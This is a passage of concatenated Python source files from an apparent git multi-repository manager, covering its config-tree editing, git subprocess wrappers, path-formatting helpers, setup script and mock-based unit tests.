os.path.expanduser(l.path) or None path = os.path.join(stack_loc, folder) \ if folder is not None else None name = path if path is not None else \ impl.RemoteRepository(source_uri).humanish_part() # and yield the actual repository yield i, desc.RepositoryDescription( source_uri, os.path.join(stack_loc, name)) @property def repositories(self) -> typing.Generator[desc.RepositoryDescription, None, None]: """ an iterator for all repositories """ for (i, d) in self.descriptions: if isinstance(d, desc.RepositoryDescription): yield d @property def locals(self) -> typing.Generator[impl.LocalRepository, None, None]: """ an iterator for all localrepositories """ for rd in self.repositories: yield rd.local @lines.setter def lines(self, ll: typing.List[line.ConfigLine]): """ sets the lines to be contained in this file """ for l in ll: if isinstance(l, line.RootLine): self.__root = os.path.join(self.__base_directory, l.root) break self.__lines = ll @property def root(self) -> str: """ The root of this repository""" return self.__root def index(self, d: desc.Description) -> typing.Optional[int]: """ Finds the index of a specific description inside of this Tree""" for (i, dd) in self.descriptions: if dd == d: return i return None def contains(self, d: desc.Description) -> bool: """ Checks if this repository contains a specific description """ return self.index(d) is not None def insert_at(self, parent: typing.Optional[desc.BaseDescription], d: desc.Description) -> int: """ Inserts a description at a given parent :param parent: Parent item to insert description at. If omitted, insert the item top-level :param d: Repository to insert """ # are we inserting a base? insert_base = isinstance(d, desc.BaseDescription) # find the index to insert in # in the empty case, start at the top if parent is None: index = 0 pdepth = 0 indent = " " else: index = self.index(parent) if index is None: raise ValueError("Parent does not exist in Tree()") pdepth = self.lines[index].depth indent = self.lines[index].indent + " " index += 1 # index to insert into insert_index = 0 # A stack for repository patchs path_stack = [self.__base_directory] target_level = None # iterate through the lines # and find the last line for (i, l) in enumerate(self.lines): # only do thing for indexes below index if i >= index: # if we have a base line we might have to quit if isinstance(l, line.BaseLine): # if we are not inserting a base, break if not insert_base: break # if we do not know our target level yet, we need to # find it if target_level is None: target_level = len(path_stack) # we need to break upon our target level if l.depth < target_level: break # if we have a repo line and have not reached our target # level, we can save the indent if isinstance(l, line.RepoLine) and target_level is None: indent = l.indent # else we might need to update our path elif isinstance(l, line.BaseLine): # extract the current and new order of the lines current_order = len(path_stack) new_order = l.depth # we can not have a new order lower than 1 depth of the # current level if new_order > current_order: raise Exception( 'Error in line {}: Missing base sublevel. '.format( i + 1)) # Read the sub-directory to be added and the old one sub_dir = os.path.expanduser(l.path) previous_item = path_stack[new_order - 1] # add the new sub-directory new_sub_dir = os.path.join(previous_item, sub_dir) path_stack[new_order:] = [new_sub_dir] # and up the index to insert into insert_index = i + 1 # the parent path is the path that is at the right most position ppath = path_stack[-1] # if we are inserting a repository, create an appropriate repo line if not insert_base: (base, item) = d.to_repo_line(indent, " ", "") if base.folder != ppath.rstrip("/"): raise ValueError("Cannot insert: Invalid Parent for " "RepositoryDescription. ") # if we are inserting a base description, we need to figure out paths else: npath = os.path.relpath(d.folder, ppath) if (npath == '..' or npath.startswith('../')): npath = d.folder item = line.BaseLine(indent, pdepth + 1, " ", npath, "") # finally insert the item itself self.__lines.insert(insert_index, item) # and return the inserted index return insert_index def insert_base_or_get(self, b: desc.BaseDescription) -> int: """ Gets a BaseDescription index or inserts it recursively """ # if we have the parent already, we are done index = self.index(b) if index is not None: return index # if we are inside of the base path, we can go recursively if os.path.commonprefix([b.folder, self.__base_directory]) == \ self.__base_directory: # find the parent base description (ppath, _) = os.path.split(b.folder) # if we have reached the base, we do not need to create anything if ppath != self.__base_directory \ and b.folder != self.__base_directory: parent = desc.BaseDescription(ppath) # and create the parent self.insert_base_or_get(parent) else: parent = None # else, we need to insert top-level else: parent = None # and finally create our base return self.insert_at(parent, b) def insert_repo_or_get(self, r: desc.RepositoryDescription) -> int: """ Gets a RepositoryDescription index or inserts it recursively """ # inserting an already existing repo index = self.index(r) if index is not None: return index # else, we need to create the parent # unless it is the base (parent, _) = r.to_repo_line("", "", "") if parent.folder == self.__base_directory: parent = None else: self.insert_base_or_get(parent) # and then insert it return self.insert_at(parent, r) def rebuild(self): """ Rebuilds this configuration file by re-inserting all repository descriptions from scratch """ # get all the repository descriptions repos = list(self.repositories) # wipe all the lines self.lines = [] # if the root is not the base directory, insert it. if self.root != self.__base_directory: relroot = os.path.relpath(self.root, self.__base_directory) if relroot.startswith('..'): relroot = self.root self.lines.append(line.RootLine('', '', relroot, '')) # and re-insert all of the repos for r in repos: self.insert_repo_or_get(r) def remove_local(self, local: impl.LocalRepository) -> bool: """ Remove a local repository from a configuration file provided it exists """ index = None # search for the local repository for (i, dd) in self.descriptions: if isinstance(dd, desc.RepositoryDescription) and \ dd.local == local: index = i break # if we did not find it, return if index is None: return False # and remove the given index lines = self.lines del self.lines[index] self.lines = lines return True def find(self, pattern) -> typing.Generator[desc.Description, None, None]: """ Finds all repositories subject to a given description. """ for r in self.repositories: if r.remote.matches(pattern): yield r --- FILE SEPARATOR --- #!/usr/bin/env python3 import argparse from GitManager.utils import format from GitManager.config import file from GitManager.commands import status, lister, fetch, setup, pull, state, \ push, reconfigure, gc, clone def main(args): """ The main entry point for git-manager""" try: real_main(args) except BrokenPipeError: return 2 except KeyboardInterrupt: print("\n{}".format( format.Format.red("Received KeyboardInterrupt") )) return 2 except Exception as e: print("\n{}".format( format.Format.red("Unknown error: {}".format(e)) )) return 3 def real_main(args): """ Main entry point for the program -- may throw errors""" ACTIONS = ['help', 'setup', 'clone', 'fetch', 'pull', 'push', 'gc', 'ls', 'status', 'state', 'reconfigure'] # Create an argument parser parser = argparse.ArgumentParser(add_help=False) parser.add_argument("action", nargs='?', help="Action to perform. One of '{}'. ".format( "', '".join(ACTIONS))) args, command_args = parser.parse_known_args() # Find the configuration file cfg_file = file.File.find() # Check that we have a configuration file. if cfg_file is None: print(format.Format.red("Missing configuration file. ")) return 1 # read the list of repositories config = file.File(cfg_file) try: config.read() except: print(format.Format.red("Unable to read configuration file. ")) return 1 line = format.TerminalLine() repos = list(config.repositories) if args.action == 'help' or args.action is None: parser.print_help() elif args.action == 'setup': setup.Setup(line, repos, *command_args)() elif args.action == 'clone': clone.Clone(line, config, *command_args)() elif args.action == 'fetch': fetch.Fetch(line, repos, *command_args)() elif args.action == 'pull': pull.Pull(line, repos, *command_args)() elif args.action == 'push': push.Push(line, repos, *command_args)() elif args.action == 'gc': gc.GC(line, repos, *command_args)() elif args.action == 'ls': lister.LsLocal(line, repos, *command_args)() elif args.action == 'status': status.Status(line, repos, *command_args)() elif args.action == 'state': state.State(line, repos, *command_args)() elif args.action == 'reconfigure': import sys line = format.TerminalLine(fd=sys.stderr) reconfigure.Reconfigure(line, config, *command_args)() else: print('Unknown command %r' % (args.action,)) return 1 return 0 __all__ = ["main"] --- FILE SEPARATOR --- import collections import os import typing from . import implementation from ..config import line from abc import ABCMeta class Description(metaclass=ABCMeta): """ A Base class for descriptions""" pass @Description.register class BaseDescription(collections.namedtuple("BaseDescription", ["folder"])): """ A 'description' of a base folder in the configuration file. """ pass @Description.register class RepositoryDescription(collections.namedtuple("RepositoryDescription", ["source", "path"])): """A 'description' of a repository in the configuration file, i.e. a a pair of (source, path) """ @property def local(self) -> implementation.LocalRepository: """ Gets the local repository associated to this RepositoryDescription """ return implementation.LocalRepository(self.path) @property def remote(self) -> implementation.RemoteRepository: """ Gets the remote repository associated to this RepositoryDescription """ return implementation.RemoteRepository(self.source) def to_repo_line(self, indent: str, space_1: str, space_2: str) -> \ typing.Tuple[BaseDescription, line.RepoLine]: """ Turns this RepositoryDescription into an appropriate RepoLine and description. """ # get the base name and git clone name (base, name) = os.path.split(self.path) git_name = self.remote.humanish_part() # if the git name is identical to the already existing name, we just # give the source if name == git_name: return BaseDescription(base), line.RepoLine(indent, self.source, '', '', space_2) # else we need to give both else: return BaseDescription(base), line.RepoLine(indent, self.source, space_1, name, space_2) --- FILE SEPARATOR --- import typing from . import description, implementation import os.path class Finder(object): """ Class that helps finding existing repositories """ @staticmethod def find_recursive(path: str, allow_links: bool=False, continue_in_repository: bool=False, callback: typing.Callable[[str], None]=lambda s: None) \ -> typing.Generator[description.RepositoryDescription, None, None]: """ Finds all repositories within a specific path :param path: Paths of repository to find :param allow_links: If True, continue searching in repositories even if they are symlinked. Use with caution, as this might cause the routine to run into a infinite loop :param continue_in_repository: If True, instead of stopping the recursing inside a repository, continue searching for sub-repositories :param callback: Optional callback to call when scanning a given directory. """ # notify the caller that we are scanning path callback(path) # boolean indicating if we are inside a repository is_in_repo = False # if we do not allow links, stop when we have a link if not allow_links and os.path.islink(path): return # return the repository if available try: yield Finder.get_from_path(path) is_in_repo = True except ValueError: pass # if we got a repository, no need to continue iterating if is_in_repo and not continue_in_repository: return # iterate over all sub-items for name in os.listdir(path): # if we have a sub-directory dpath = os.path.join(path, name) if os.path.isdir(dpath): # iterate over the return items for desc in Finder.find_recursive( dpath, allow_links=allow_links, continue_in_repository=continue_in_repository, callback=callback): yield desc @staticmethod def get_from_path(path: str) -> description.RepositoryDescription: """ Gets a single repository given a path if it exists :param path: Path to find repository at """ # take the local repository local = implementation.LocalRepository(path) # if it doesn't exist, break if not local.exists(): raise ValueError("No repository available in {}".format(path)) # find the remote url -- try origin first try: remote_url = local.get_remote_url('origin') except ValueError: remotes = local.remotes if len(remotes) == 0: raise ValueError('No remotes available') # otherwise take the first remote remote_url = local.get_remote_url(remotes[0]) # now we can be sure, the remote exists # so we can return the description return description.RepositoryDescription(remote_url, path) --- FILE SEPARATOR --- import os import re import enum import typing import fnmatch from ..utils import run class RemoteStatus(enum.Enum): """ Remote uplink status""" UP_TO_DATE = "ok" REMOTE_NEWER = "pull" LOCAL_NEWER = "push" DIVERGENCE = "divergence" class LocalRepository(object): """ Represents a local repository identified by a path """ def __init__(self, path: str): """ Creates a new LocalRepository """ self.__path = os.path.normpath(path) def __eq__(self, other: typing.Any) -> bool: """ Checks if this LocalRepository is equal to another""" return isinstance(other, LocalRepository) and other.path == self.path @property def remotes(self) -> typing.List[str]: """ A list of remotes that this RemoteRepository has """ remotes = run.GitRun("remote", "show", "-n", cwd=self.path) remotes.wait() return remotes.stdout.read().decode("utf-8").split("\n") def get_remote_url(self, name: str) -> str: """ Get the url of a remote """ # get the url of a remote remote_url = run.GitRun("remote", "get-url", name, cwd=self.path) # throw an exeception if we fail if not remote_url.success: raise ValueError("Unable to find remote {}".format(name)) # else return the url return remote_url.stdout.read().decode("utf-8").split("\n")[0] @property def path(self) -> str: """ The path to this repository """ return self.__path def upstream_ref(self, ref: str) -> str: """ Gets the upstream being tracked by a given path :param ref: Ref to get upstream of. """ refs = run.GitRun("for-each-ref", "--format=%(upstream:short)", ref, cwd=self.path) refs.wait() return refs.stdout.read().decode("utf-8").split("\n")[0] def symbolic_ref(self, ref: str) -> str: """ Gets the symbolic ref REF is pointing to :param ref: Ref to parse """ refs = run.GitRun("symbolic-ref", "-q", ref, cwd=self.path) refs.wait() return refs.stdout.read().decode("utf-8").split("\n")[0] def ref_parse(self, ref: str) -> str: """ Normalises a ref by parsing it in a short form :param ref: Ref to parse """ refs = run.GitRun("rev-parse", ref, cwd=self.path) refs.wait() return refs.stdout.read().decode("utf-8").split("\n")[0] def __str__(self) -> str: return self.path def __repr__(self): return "<{} {}>".format(self.__class__.__name__, str(self)) def exists(self) -> bool: """ Checks if this repository exists """ # check if the directory exists if not os.path.isdir(self.path): return False # try to get the toplevel rev_parse_run = run.GitRun("rev-parse", "--show-toplevel", cwd=self.path) # if we did not succeed, we are not inside a git repo if not rev_parse_run.success: return False # get the actual toplevel toplevel = rev_parse_run.stdout.read().decode("utf-8").split("\n")[0] # and check that it is equal to the normal path return os.path.normpath(toplevel) == self.path def gc(self, *args: str) -> bool: """ Runs housekeeping tasks on this repository :param args: Arguments to pass along to the houskeeping command """ return run.GitRun("gc", *args, cwd=self.path, pipe_stderr=True, pipe_stdin=True, pipe_stdout=True).success def fetch(self) -> bool: """ Fetches all remotes from this repository""" return run.GitRun("fetch", "--all", "--quiet", cwd=self.path, pipe_stdin=True, pipe_stdout=True, pipe_stderr=True).success def pull(self) -> bool: """ Pulls all remotes from this repository""" return run.GitRun("pull", cwd=self.path, pipe_stdin=True, pipe_stdout=True, pipe_stderr=True).success def push(self) -> bool: """ Pushes this repository """ return run.GitRun("push", cwd=self.path, pipe_stdin=True, pipe_stdout=True, pipe_stderr=True).success def local_status(self) -> typing.Optional[str]: """ Shows status on this git repository """ if not self.exists(): return None # Check for the status first cmd = run.GitRun("status", "--porcelain", cwd=self.path) cmd.wait() # return the porcelain info return cmd.stdout.read().decode("utf-8") def remote_status(self, update=False) -> typing.Optional[RemoteStatus]: """ Shows status on this repository, and in particular if it i out-of-date with the remote :param update: Boolean indicating if we should update using git remote update first """ # if we do not exist, return if not self.exists(): return None # if we should update, run git remote update if update: if not run.GitRun("remote", "update", cwd=self.path).success: return None # where is head pointing to? localref = self.ref_parse("HEAD") # what is our upstream? upstream = self.upstream_ref(self.symbolic_ref("HEAD")) remoteref = self.ref_parse(upstream) # check where we would merge refs = run.GitRun("merge-base", localref, remoteref, cwd=self.path) refs.wait() baseref = refs.stdout.read().decode("utf-8").split("\n")[0] # if both references are identical, we are ok if localref == remoteref: return RemoteStatus.UP_TO_DATE # if we would start with the local base, we would have to pull elif localref == baseref: return RemoteStatus.REMOTE_NEWER # if we would start with the remote base, we would have to push elif remoteref == baseref: return RemoteStatus.LOCAL_NEWER # else we have divergence and something is wrong. else: return RemoteStatus.DIVERGENCE class RemoteRepository(object): """ Represents a remote repository identified by a url """ def __init__(self, url: str): """ creates a new RemoteRepository() :param url: URL to remote repository """ self.__url = url def __eq__(self, other: typing.Any) -> bool: """ Checks if this LocalRepository is equal to another""" return isinstance(other, RemoteRepository) and other.url == self.url @property def url(self) -> str: """ the url to this repository """ return self.__url def __str__(self) -> str: return self.url def __repr__(self): return "<{} {}>".format(self.__class__.__name__, str(self)) def exists(self) -> bool: """ Checks if this remote repository exists """ return run.GitRun("ls-remote", "--exit-code", self.url).success def clone(self, local: LocalRepository, *args: typing.Tuple[str]) -> bool: """ Clones this repository into the path given by a local path""" return run.GitRun("clone", self.url, local.path, *args, pipe_stdin=True, pipe_stdout=True, pipe_stderr=True).success def components(self) -> typing.List[str]: """ Extracts the components of this URL, i.e. a set of items that uniquely identifies where this repository should go. """ # Trim a trailing '.git' if self.url.endswith('.git'): url = self.url[:-4] else: url = self.url # Trim trailing '/'s while url.endswith('/'): url = url[:-1] if '://' in url: # [$PROTOCOL]:$PREFIX/$COMPONENTS url = '://'.join(url.split('://')[1:]) parts = re.split(r"[\\/:]", url) (prefix, rest) = (parts[0], '/'.join(parts[1:])) else: # $PREFIX:$COMPONENTS parts = url.split(':') (prefix, rest) = (parts[0], ':'.join(parts[1:])) # read (user, host) from the prefix if '@' in prefix: parts = prefix.split('@') (user, host) = (parts[0], '@'.join(parts[1:])) else: user = None host = prefix # if user is 'git' or 'gogs', ignore it if user in ['git', 'gogs']: user = None # prepare to prepend prefix if user is not None: prefix = [host, user] else: prefix = [host] # and split into '/'s return prefix + re.split(r"[\\/:]", rest) def matches(self, pattern: str) -> bool: """ Checks if a repository matches a given pattern""" # lowercase the pattern pattern = pattern.lower() # split the pattern into components if ':' in pattern: pattern_components = RemoteRepository(pattern).components() else: pattern = ':' + pattern pattern_components = RemoteRepository(pattern).components()[1:] # count and reassemble pattern_length = len(pattern_components) pattern = '/'.join(pattern_components) # get the components of the current repo components = list(map(lambda pc: pc.lower(), self.components())) components_length = len(components) # iterate over all sub-paths of the given length for i in range(components_length - pattern_length + 1): suburl = '/'.join(components[i:i + pattern_length]) if fnmatch.fnmatch(suburl, pattern): return True return False def humanish_part(self) -> str: """ Extracts the 'humanish' part of this URL. See the `man git-clone` for more details. """ return self.components()[-1] --- FILE SEPARATOR --- import shutil import sys from os import path class Format(object): """ Methods for formatting text in certain colors. """ def __init__(self): """ Prevents creation of Format(). """ raise TypeError("Format() can not be instantiated") @staticmethod def red(prt: str) -> str: """ Formats a string in red. """ return "\033[91m{}\033[00m".format(prt) @staticmethod def yellow(prt: str) -> str: """ Formats a string in yellow. """ return "\033[93m{}\033[00m".format(prt) @staticmethod def green(prt: str) -> str: """ Formats a string in green. """ return "\033[92m{}\033[00m".format(prt) @staticmethod def cyan(prt: str) -> str: """ Formats a string in cyan. """ return "\033[96m{}\033[00m".format(prt) @staticmethod def short_abs_path(pth: str, length: int) -> str: """ Formats an absolute path with a maximum length :param pth: Absolute path to format :param length: Maximal length of the path (at least 6) """ # too small length if length <= 5: raise ValueError('Length must be at least 6') # check that we have an absolute path if not pth.startswith('/'): raise ValueError('pth must be an absolute path') # # Step 1: Normalise the path # pth = path.normpath(pth) if len(pth) < length: return pth # # Step 2: If inside $HOME, use a relative path instead of an # absolute one # # find the path relative to the $HOME directory of the user relative_path = path.relpath(pth, path.expanduser('~')) # if we are inside the home directory, use that instead if relative_path.startswith('./') or relative_path.startswith( '../') \ or relative_path == '.' or relative_path == '..': prefix = '/' pth = pth[1:] else: prefix = '~/' pth = relative_path # # Step 3: Format a short path # return prefix + Format.short_rel_path(pth, length - len(prefix)) @staticmethod def short_rel_path(pth: str, length: int) -> str: """ Formats a relative path with a maximum length :param pth: Relative path to format :param length: Maximal length of the path (at least 4) """ # too small length if length <= 3: raise ValueError('Length must be at least 4') # check that we have a relative path if pth.startswith('/'): raise ValueError('pth must be a relative path') # # Step 1: Normalise the path # pth = path.normpath(pth) if len(pth) <= length: return pth # # Step 2: Iteratively try replacing components by '...' # pth_components = pth.split('/') # try shortening components while len(pth_components) > 2: # if the long path is ok, just return it if len(pth) <= length: return pth # figure out the component to remove rmidx = int(len(pth_components) / 2) # build a new path pth = '/'.join(pth_components[:rmidx] + ['...'] + pth_components[ (rmidx + 1):]) # and update the components array pth_components = pth_components[:rmidx] + pth_components[ (rmidx + 1):] # # Step 3: Fallback to just taking a substring # # if the long path is ok now, just return it if len(pth) <= length: return pth # if we still haven't gotten a path that is short enough # we will have to remove parts from within one component # extract first and last component begin = pth_components[0] end = pth_components[1] # the number of characters we will get to keep keepidx = length - 3 # shorten the longer component, as it likely is accurate enough # even without the extra information if len(begin) < len(end): return pth[:keepidx] + '...' else: return '...' + pth[-keepidx:] @staticmethod def short_path(pth: str, length: int) -> str: """ Formats a path with a maximum length If pth is known to be absolute or non-absolute use short_abs_path() or short_rel_path() instead. :param pth: Path to format :param length: Maximal length of the path (at least 6) """ # too small length if length <= 5: raise ValueError('Length must be at least 6') if pth.startswith('/'): return Format.short_abs_path(pth, length) else: return Format.short_rel_path(pth, length) class TerminalLine(object): """ Represents a Terminal Line that can be re-written""" def __init__(self, fd=None): """ Creates a new TerminalLine object. :param fd: File descriptor of output to use """ self.__fd = sys.stdout if fd is None else fd self.__cache = "" @property def width(self): """ :return: the width of this line in number of characters :rtype: int """ return shutil.get_terminal_size().columns def clean(self): """ Cleans the current line of content. :return: """ if self.__fd.isatty(): self.append('\r%s\r' % (' ' * self.width)) else: self.__cache = "" def linebreak(self): """ Inserts a LineBreak into this line. """ self.append('\n') def write(self, s: str): """ Writes a string to this Line, overwriting the current content. :param s: String to write to the line. :type s: str """ self.clean() self.append(s) def append(self, s: str): """ Appends text to this TermminalLine instance. """ # either write it out directly if self.__fd.isatty(): self.__fd.write(s) else: self.__cache += s # and flush the content self.flush() def flush(self): """Flushes this TerminalLine. """ # if we are not a terminal, we flush existing lines if not self.__fd.isatty(): while "\n" in self.__cache: idx = self.__cache.index('\n') self.__fd.write(self.__cache[:idx + 1]) self.__cache = self.__cache[idx + 1:] # call the underlying flush implementation self.__fd.flush() __all__ = ["Format", "TerminalLine"] --- FILE SEPARATOR --- import typing import enum import subprocess import os class ProcessRunState(enum.Enum): """ Different process run states """ NEW = 'new' ACTIVE = 'active' TERMINATED = 'terminated' class ProcessRun(object): """ Represents a single call to an external Executable """ def __init__(self, exe: str, *args: typing.List[str], cwd: typing.Optional[str] = None, pipe_stdout: bool = False, pipe_stderr: bool = False, pipe_stdin: bool = False, environment: typing.Optional[dict] = None): """ :param exe: Executable or command to run :param args: Arguments to the git call :param cwd: Working directory of the git call. Defaults to the current working directory :param pipe_stdout: should we pipe stdout to the parent? :param pipe_stderr: should we pipe stderr to the parent? :param pipe_stdin: should we pipe stdin from the parent? :param environment: The environment of this process or None if it should be inherited from the parent """ self.__exe = exe self.__args = list(args) self.__cwd = cwd if cwd is not None else os.getcwd() self.__pipe_stdout = pipe_stdout self.__pipe_stdin = pipe_stdin self.__pipe_stderr = pipe_stderr self.__environment = environment if environment is not None else \ os.environ.copy() # Has the process been started? self.__started = False # The Popen handle of the process self.__handle = None # type: subprocess.Popen # # PROPERTIES # @property def exe(self) -> str: """ Command (executable) to run in this process run """ # TODO: Do we want to have a which() here? return self.__exe @property def args(self) -> typing.List[str]: """ arguments given to this Git command """ return self.__args @property def cwd(self) -> str: """ working directory of the GitRun() """ return self.__cwd @property def environment(self) -> dict: """ environment of this process """ return self.__environment # # INPUT / OUTPUT # @property def pipe_stdout(self) -> bool: """ should we pipe stdout to the parent? """ return self.__pipe_stdout @property def stdout(self) -> typing.Optional[typing.IO[bytes]]: """ the stdout handle of the process or None """ # we need to run the process first if self.state == ProcessRunState.NEW: raise ProcessRunStateError('ProcessRun() is not running') # if we are not piping stdout to the parent, return it if not self.pipe_stdout: return self.__handle.stdout # else we return None else: return None @property def pipe_stderr(self) -> bool: """ should we pipe stderr to the parent? """ return self.__pipe_stderr @property def stderr(self) -> typing.Optional[typing.IO[bytes]]: """ the stderr handle of the process or None """ # we need to run the process first if self.state == ProcessRunState.NEW: raise ProcessRunStateError('ProcessRun() is not running') # if we are piping stdout, we return it if not self.pipe_stderr: return self.__handle.stderr # else we return None else: return None @property def pipe_stdin(self) -> bool: """ should we pipe stdin to the parent? """ return self.__pipe_stdin @property def stdin(self) -> typing.Optional[typing.IO[bytes]]: """ the stdin handle of the process or None """ # we need to run the process first if self.state == ProcessRunState.NEW: raise ProcessRunStateError('ProcessRun() is not running') # if we are piping stdout, we return it if not self.pipe_stdin: return self.__handle.stdin # else we return None else: return None @property def returncode(self) -> int: """ the returncode of this process (blocking) """ # if we we are not yet finished, wait if self.state != ProcessRunState.TERMINATED: self.wait() return self.__handle.returncode @property def success(self) -> bool: """ success of this process, i.e. if its returncode was 0 """ return self.returncode == 0 # # STATE # @property def state(self) -> ProcessRunState: """ The current state of the process -- has it been started, finished, etc. :return: one of 'ready', 'running', 'finished' """ # we have not been started yet if not self.__started: return ProcessRunState.NEW # Poll to check if we have finished self.__handle.poll() # still running if self.__handle.returncode is None: return ProcessRunState.ACTIVE # else return finished else: return ProcessRunState.TERMINATED def run(self): """ Runs this process """ # check that we have not yet been started if self.state != ProcessRunState.NEW: raise ProcessRunStateError( 'ProcessRun() was already started, can not run it again. ') # Set the output arguments correctly stdout = None if self.pipe_stdout else subprocess.PIPE stderr = None if self.pipe_stderr else subprocess.PIPE stdin = None if self.pipe_stdin else subprocess.PIPE # We are now running self.__started = True # Make the arguments ready self.__handle = subprocess.Popen([self.exe] + self.args, cwd=self.cwd, stdout=stdout, stderr=stderr, stdin=stdin, env=self.environment) def wait(self, timeout: typing.Optional[int] = None): """ waits for this process to finish :param timeout: Optional timeout to wait for """ # we are not yet running, so start it if self.state == ProcessRunState.NEW: self.run() # and wait for the process self.__handle.wait(timeout=timeout) def kill(self): """ kills this process """ # we can only kill a running process if self.state != ProcessRunState.ACTIVE: raise ProcessRunStateError('can only kill running process') self.__handle.kill() class GitRun(ProcessRun): def __init__(self, *args: str, cwd: typing.Optional[str] = None, pipe_stdout: bool = False, pipe_stderr: bool = False, pipe_stdin: bool = False, environment: typing.Optional[dict] = None): """ :param args: Arguments to the git call :param cwd: Working directory of the git call. Defaults to the current working directory :param pipe_stdout: should we pipe stdout to the parent? :param pipe_stderr: should we pipe stderr to the parent? :param pipe_stdin: should we pipe stdin from the parent? :param environment: The environment of this process or None if it should be inherited from the parent """ super().__init__("git", *args, cwd=cwd, pipe_stdout=pipe_stdout, pipe_stderr=pipe_stderr, pipe_stdin=pipe_stdin, environment=environment) class ProcessRunStateError(Exception): """ An error in the state of the ProcessRun """ pass --- FILE SEPARATOR --- import os from setuptools import setup, find_packages def read(fname): return open(os.path.join(os.path.dirname(__file__), fname)).read() setup( name="git_manager", version="0.2.0", url="https://github.com/tkw1536/GitManager", author="Tom Wiesing", author_email="tkw01536@gmail.com", packages=find_packages(), scripts=['git-manager'], description="Manages multiple git repositories", long_description=read('README.rst'), license="MIT", classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Intended Audience :: Developers", "Topic :: Utilities", ] ) --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager import commands from GitManager.utils import format from GitManager.repo import description class TestCommand(unittest.TestCase): """ Tests that the command line works properly """ @unittest.mock.patch( 'GitManager.repo.implementation.LocalRepository.exists', side_effect=[True, False]) @unittest.mock.patch('GitManager.utils.format.TerminalLine') @unittest.mock.patch('GitManager.commands.Command.parse') def test_repos(self, command_parse: unittest.mock.Mock, format_TerminalLine: unittest.mock.Mock, implementation_exists: unittest.mock.Mock): """ Tests that the list of repos works properly """ line = format.TerminalLine() repos = [ description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/other/source', '/path/to/other/clone') ] # create a command object cmd = commands.Command(line, repos) # if we have a local command, only show the existing one with unittest.mock.patch('GitManager.commands.Command.LOCAL', True): self.assertEqual(cmd.repos, repos[0:1]) # if we do not have a local command, show all with unittest.mock.patch('GitManager.commands.Command.LOCAL', False): self.assertEqual(cmd.repos, repos) @unittest.mock.patch('GitManager.utils.format.TerminalLine') @unittest.mock.patch('GitManager.commands.Command.parse') def test_args(self, command_parse: unittest.mock.Mock, format_TerminalLine: unittest.mock.Mock): """ Checks that the args property is implemented properly""" line = format.TerminalLine() repos = [] # create a command object cmd = commands.Command(line, repos, "1", "2", "3") command_parse.assert_called_with("1", "2", "3") self.assertEqual(cmd.args, command_parse.return_value) @unittest.mock.patch('GitManager.utils.format.TerminalLine') @unittest.mock.patch('GitManager.commands.Command.parse') def test_run(self, command_parse: unittest.mock.Mock, format_TerminalLine: unittest.mock.Mock): """ Tests that the run() method is not implemented. """ # create a magic line object line = format.TerminalLine() repos = [] # create a command object cmd = commands.Command(line, repos) # and make sure it throws an error: with self.assertRaises(NotImplementedError): cmd.run(description.RepositoryDescription('/path/to/source', '/path/to/clone')) @unittest.mock.patch('builtins.print') @unittest.mock.patch('GitManager.utils.format.TerminalLine') @unittest.mock.patch('GitManager.commands.Command.parse') def test_write(self, command_parse: unittest.mock.Mock, format_TerminalLine: unittest.mock.Mock, builtins_print: unittest.mock.Mock): """ Tests that the write function works properly. """ line = format.TerminalLine() repos = [] # create a command object cmd = commands.Command(line, repos) # write hello world cmd.write("Hello world") # assert that the right calls have been made format_TerminalLine.return_value.linebreak.assert_called_with() builtins_print.assert_called_with("Hello world") @unittest.mock.patch('GitManager.utils.format.TerminalLine') @unittest.mock.patch('GitManager.commands.Command.parse') def test_write_with_counter(self, command_parse: unittest.mock.Mock, format_TerminalLine: unittest.mock.Mock): """ Tests that the write_with_counter function works correctly""" format_TerminalLine.return_value.width = 100 line = format.TerminalLine() repos = [ description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone') ] # create a command object cmd = commands.Command(line, repos) cmd._Command__idx = 2 cmd.write_with_counter('SOME TEXT') format_TerminalLine.return_value.write \ .assert_called_with("[03/11] SOME TEXT") @unittest.mock.patch('GitManager.utils.format.TerminalLine') @unittest.mock.patch('GitManager.commands.Command.parse') def test_write_path_with_counter(self, command_parse: unittest.mock.Mock, format_TerminalLine: unittest.mock.Mock): """ Tests that the write_with_counter function works correctly""" format_TerminalLine.return_value.width = 21 line = format.TerminalLine() repos = [ description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone'), description.RepositoryDescription( '/path/to/source', '/path/to/clone') ] # create a command object cmd = commands.Command(line, repos) cmd._Command__idx = 2 cmd.write_path_with_counter('/path/to/clone') format_TerminalLine.return_value.write \ .assert_called_with("[03/11] /path/.../...") @unittest.mock.patch('GitManager.utils.format.TerminalLine') @unittest.mock.patch('GitManager.commands.Command.write_path_with_counter') @unittest.mock.patch('GitManager.commands.Command.run', return_value=True) @unittest.mock.patch('GitManager.commands.Command.parse') def test_call(self, command_parse: unittest.mock.Mock, command_run: unittest.mock.Mock, command_write_path_with_counter: unittest.mock.Mock, format_TerminalLine: unittest.mock.Mock): """ Tests that the call() function works correctly """ format_TerminalLine.return_value.width = 21 line = format.TerminalLine() repos = [ description.RepositoryDescription( '/path/to/source', '/path/to/clone/1'), description.RepositoryDescription( '/path/to/source', '/path/to/clone/2'), description.RepositoryDescription( '/path/to/source', '/path/to/clone/3'), description.RepositoryDescription( '/path/to/source', 